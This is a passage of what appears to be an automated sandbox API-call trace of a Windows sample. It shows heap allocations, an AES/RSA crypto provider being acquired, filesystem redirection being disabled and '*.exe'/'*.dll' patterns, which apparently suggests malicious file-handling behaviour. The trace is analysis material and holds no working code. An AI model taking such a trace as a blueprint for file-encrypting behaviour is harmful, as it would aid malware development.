(Handle=0xc4) returned 0x0 [0253.766] GetSystemInfo (in: lpSystemInfo=0x18fd48 | out: lpSystemInfo=0x18fd48*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0253.766] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x6c) returned 0xffb860 [0253.766] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc5a0 [0253.766] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xc4 [0253.766] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc480 [0253.766] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc438 [0253.766] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc558 [0253.766] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc510 [0253.766] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x5000) returned 0xe20048 [0253.767] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc4c8 [0253.767] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc4c8) returned 1 [0253.767] CryptAcquireContextW (in: phProv=0x18fd5c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fd5c*=0x2e1e88) returned 1 [0253.784] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xe20048) returned 1 [0253.784] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffb8d8 [0253.784] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffb960 [0253.784] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc4c8 [0253.784] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffb9e8 [0253.784] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffba70 [0253.784] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc3f0 [0253.784] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbaf8 [0253.784] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc3a8 [0253.784] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x5000) returned 0xe20048 [0253.784] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc360 [0253.784] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc360) returned 1 [0253.784] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0253.807] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xe20048) returned 1 [0253.807] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x2dcbc0, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0253.807] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc360 [0253.807] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x110 [0253.808] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc360) returned 1 [0253.808] GetLastError () returned 0x0 [0253.808] LocalFree (hMem=0x2dcbc0) returned 0x0 [0253.808] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc360 [0253.808] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x5000) returned 0xe20048 [0253.808] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc318 [0253.808] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc318) returned 1 [0253.808] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0253.810] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xe20048) returned 1 [0253.810] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x2dcbc0, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0253.810] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc318 [0253.810] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x114 [0253.810] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc318) returned 1 [0253.810] GetLastError () returned 0x0 [0253.810] LocalFree (hMem=0x2dcbc0) returned 0x0 [0253.810] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc318 [0253.810] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x5000) returned 0xe20048 [0253.810] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc2d0 [0253.810] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc2d0) returned 1 [0253.810] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0253.811] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xe20048) returned 1 [0253.811] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x2dcbc0, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0253.812] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc2d0 [0253.812] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x118 [0253.812] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc2d0) returned 1 [0253.812] GetLastError () returned 0x0 [0253.812] LocalFree (hMem=0x2dcbc0) returned 0x0 [0253.812] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x2800) returned 0xe20048 [0253.812] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbb80 [0253.812] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc2d0 [0253.812] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd8c | out: OldValue=0x18fd8c*=0x0) returned 1 [0253.812] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x2800) returned 0xe22850 [0253.812] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.812] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.812] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x10) returned 0xffd5e8 [0253.812] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2d8 [0253.812] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.812] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc1f8 [0253.812] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc1f8) returned 1 [0253.812] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.812] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd2d8) returned 1 [0253.812] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd5e8) returned 1 [0253.812] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xe22850) returned 1 [0253.812] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x2800) returned 0xe22850 [0253.812] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.812] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.812] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.812] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x10) returned 0xffd5e8 [0253.812] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2d8 [0253.812] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc1f8 [0253.812] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.812] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2c8 [0253.813] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.813] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x10) returned 0xffd600 [0253.813] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2b8 [0253.813] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc1b0 [0253.813] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2a8 [0253.813] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc168 [0253.813] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc1f8) returned 1 [0253.813] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd2d8) returned 1 [0253.813] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.813] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd2c8) returned 1 [0253.813] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd5e8) returned 1 [0253.813] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.813] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.813] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.813] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.813] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x10) returned 0xffd5e8 [0253.813] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2c8 [0253.813] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.813] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2d8 [0253.813] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc1f8 [0253.813] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc1b0) returned 1 [0253.813] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd2b8) returned 1 [0253.813] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc168) returned 1 [0253.813] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd2a8) returned 1 [0253.813] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd600) returned 1 [0253.813] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x10) returned 0xffd600 [0253.813] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2a8 [0253.813] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc168 [0253.813] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2b8 [0253.813] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc1b0 [0253.813] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.813] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd2c8) returned 1 [0253.813] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc1f8) returned 1 [0253.813] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd2d8) returned 1 [0253.813] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd5e8) returned 1 [0253.813] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x10) returned 0xffd5e8 [0253.813] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2d8 [0253.813] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc1f8 [0253.813] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2c8 [0253.813] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.813] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc168) returned 1 [0253.814] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd2a8) returned 1 [0253.814] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc1b0) returned 1 [0253.814] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd2b8) returned 1 [0253.814] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd600) returned 1 [0253.814] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xe22850) returned 1 [0253.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffc1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0253.814] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffd9d0 [0253.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffc1f8, cbMultiByte=5, lpWideCharStr=0xffd9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0253.814] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffda58 [0253.814] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd9d0) returned 1 [0253.814] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x10) returned 0xffd600 [0253.814] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2b8 [0253.814] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffd9d0 [0253.814] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffda58) returned 1 [0253.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffc288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0253.814] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffda58 [0253.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffc288, cbMultiByte=5, lpWideCharStr=0xffda58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0253.814] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffdae0 [0253.814] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffda58) returned 1 [0253.814] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2a8 [0253.814] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffda58 [0253.814] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffdae0) returned 1 [0253.814] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc1f8) returned 1 [0253.814] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd2d8) returned 1 [0253.814] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.814] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd2c8) returned 1 [0253.814] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd5e8) returned 1 [0253.814] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x2800) returned 0xe22850 [0253.814] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.814] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.814] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.814] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x10) returned 0xffd5e8 [0253.814] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2c8 [0253.814] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc1f8 [0253.814] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.814] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2d8 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc1b0 [0253.815] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd298 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc168 [0253.815] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd288 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.815] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x20) returned 0xffbc08 [0253.815] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd5e8) returned 1 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd278 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc240 [0253.815] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd268 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.815] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd258 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x20) returned 0xe25058 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd248 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc5e8 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd238 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc630 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd228 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc678 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd218 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc6c0 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd208 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc708 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd1e8 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc750 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd1f8 [0253.815] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc798 [0253.815] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc1f8) returned 1 [0253.815] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd2c8) returned 1 [0253.816] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc1b0) returned 1 [0253.816] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd2d8) returned 1 [0253.816] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc168) returned 1 [0253.816] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd298) returned 1 [0253.816] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.816] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd288) returned 1 [0253.816] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc240) returned 1 [0253.816] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd278) returned 1 [0253.816] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.816] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd268) returned 1 [0253.816] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.816] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd258) returned 1 [0253.816] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbc08) returned 1 [0253.816] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.816] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.816] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.816] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.816] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.816] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.816] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.816] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.816] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.816] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.816] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.816] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.816] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.816] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.816] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x10) returned 0xffd5e8 [0253.816] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd258 [0253.816] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.816] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd268 [0253.816] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.816] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd278 [0253.816] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc240 [0253.816] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd288 [0253.816] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.816] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x20) returned 0xffbc08 [0253.816] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd5e8) returned 1 [0253.817] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd298 [0253.817] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc168 [0253.817] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2d8 [0253.817] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc1b0 [0253.817] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2c8 [0253.817] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc1f8 [0253.817] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc5e8) returned 1 [0253.817] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd248) returned 1 [0253.817] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc630) returned 1 [0253.817] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd238) returned 1 [0253.817] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc678) returned 1 [0253.817] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd228) returned 1 [0253.817] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc6c0) returned 1 [0253.817] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd218) returned 1 [0253.817] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc708) returned 1 [0253.817] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd208) returned 1 [0253.817] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc750) returned 1 [0253.817] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd1e8) returned 1 [0253.817] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc798) returned 1 [0253.817] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd1f8) returned 1 [0253.817] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xe25058) returned 1 [0253.817] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x20) returned 0xe25058 [0253.817] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd1f8 [0253.817] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc798 [0253.817] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd1e8 [0253.817] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, 